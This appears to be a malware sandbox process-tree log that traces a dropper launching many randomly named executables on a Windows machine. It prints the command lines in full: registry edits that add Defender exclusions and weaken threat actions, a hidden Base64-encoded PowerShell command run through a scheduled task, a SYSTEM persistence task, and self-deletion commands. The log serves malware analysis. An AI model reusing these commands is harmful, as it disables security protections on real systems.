"C:\Windows\System32\cmd.exe" /c taskkill /im FaYEc4gGZEQdvkW7Ol7GE7XI.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\FaYEc4gGZEQdvkW7Ol7GE7XI.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:5504

C:\Windows\SysWOW64\taskkill.exe
taskkill /im FaYEc4gGZEQdvkW7Ol7GE7XI.exe /f
7⤵
- Kills process with taskkill
PID:5952

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:5080

C:\Users\Admin\Documents\8ZCHWQP6nTpqyhtUeJaxjPNm.exe
"C:\Users\Admin\Documents\8ZCHWQP6nTpqyhtUeJaxjPNm.exe"
5⤵
- Executes dropped EXE
PID:4244

C:\Users\Admin\Documents\qGLuoNtzdkcemuUAm692qDMb.exe
"C:\Users\Admin\Documents\qGLuoNtzdkcemuUAm692qDMb.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:4236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 640
6⤵
- Program crash
PID:5868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 660
6⤵
- Program crash
PID:5480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 800
6⤵
- Program crash
PID:4832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 776
6⤵
- Program crash
PID:4776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 1240
6⤵
- Program crash
PID:2132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 1240
6⤵
- Program crash
PID:4744

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "qGLuoNtzdkcemuUAm692qDMb.exe" /f & erase "C:\Users\Admin\Documents\qGLuoNtzdkcemuUAm692qDMb.exe" & exit
6⤵
PID:4184

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "qGLuoNtzdkcemuUAm692qDMb.exe" /f
7⤵
- Kills process with taskkill
PID:5220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 1276
6⤵
- Program crash
PID:5324

C:\Users\Admin\Documents\tzE7kE67telz5xEatq1E9Q77.exe
"C:\Users\Admin\Documents\tzE7kE67telz5xEatq1E9Q77.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:4148

C:\Users\Admin\Documents\0MinNqKngefurNfEwfD03Xgh.exe
"C:\Users\Admin\Documents\0MinNqKngefurNfEwfD03Xgh.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:4140

C:\Users\Admin\Documents\utTLSiFiGMEfumYpuzV58Vsd.exe
"C:\Users\Admin\Documents\utTLSiFiGMEfumYpuzV58Vsd.exe"
5⤵
- Executes dropped EXE
PID:1492

C:\Users\Admin\Documents\J9wjv0k89zcQR66robnAyjye.exe
"C:\Users\Admin\Documents\J9wjv0k89zcQR66robnAyjye.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Users\Admin\Documents\4bEYLnWPuRKIPWI3POqc15qt.exe
"C:\Users\Admin\Documents\4bEYLnWPuRKIPWI3POqc15qt.exe"
5⤵
- Executes dropped EXE
PID:1736

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_5.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:3212

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_5.exe
arnatic_5.exe
4⤵
- Executes dropped EXE
PID:1280

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_3.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:3324

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_3.exe
arnatic_3.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\SysWOW64\rUNdlL32.eXe
"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",getmft
5⤵
- Loads dropped DLL
PID:4012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4012 -s 612
6⤵
- Program crash
PID:3512

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_2.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:3296

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_2.exe
arnatic_2.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2412

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_1.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1908

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_1.exe
arnatic_1.exe
4⤵
- Executes dropped EXE
- Modifies system certificate store
PID:3608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3608 -s 1036
5⤵
- Program crash
PID:3280

C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_7.exe
C:\Users\Admin\AppData\Local\Temp\7zSC2E4CC6D\arnatic_7.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4012 -ip 4012
1⤵
PID:1312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3608 -ip 3608
1⤵
PID:2428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1324 -ip 1324
1⤵
PID:1716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4260 -ip 4260
1⤵
PID:4920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1324 -ip 1324
1⤵
PID:5008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4236 -ip 4236
1⤵
PID:5068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 4244 -ip 4244
1⤵
PID:3964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4244 -ip 4244
1⤵
PID:4784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 632
1⤵
- Program crash
PID:1184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4260 -s 464
1⤵
- Program crash
PID:4300

C:\Users\Admin\AppData\Local\Temp\7zS9E31.tmp\Install.exe
.\Install.exe
1⤵
- Executes dropped EXE
PID:4940

C:\Users\Admin\AppData\Local\Temp\7zSBAF1.tmp\Install.exe
.\Install.exe /S /site_id "525403"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
PID:3888

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
3⤵
PID:5872

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
4⤵
- Executes dropped EXE
PID:760

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
5⤵
PID:4452

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
5⤵
PID:4272

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
3⤵
PID:5884

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
4⤵
PID:4840

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
5⤵
PID:3900

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
5⤵
PID:4552

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gWcSVHPys" /SC once /ST 12:49:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:2576

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gWcSVHPys"
3⤵
PID:5112

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gWcSVHPys"
3⤵
PID:5528

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "booXbIzkEgfNdKvxAC" /SC once /ST 01:11:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\iwFKFTo.exe\" j6 /site_id 525403 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3804

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
1⤵
PID:5088

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
1⤵
PID:3040

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
1⤵
PID:4388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4236 -ip 4236
1⤵
PID:5756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4260 -ip 4260
1⤵
PID:6088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 4236 -ip 4236
1⤵
PID:2188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4236 -ip 4236
1⤵
PID:4216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4236 -ip 4236
1⤵
PID:5412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:4276

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:4496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4236 -ip 4236
1⤵
PID:4124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 4236 -ip 4236
1⤵
PID:4764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4236 -ip 4236
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5212

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3568

C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\iwFKFTo.exe
C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\iwFKFTo.exe j6 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:2436

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4872

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:5140

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:4500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:5456

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:4544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:5552

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:5608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:5988

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:5788

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:5076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:5092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:5276

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:5808

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:5908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:5932

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:5556

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:5856

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:3076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:2324

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:3860

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:4268

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:5188

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:4772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:5820

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5044

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2152

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4444

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1128

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:64
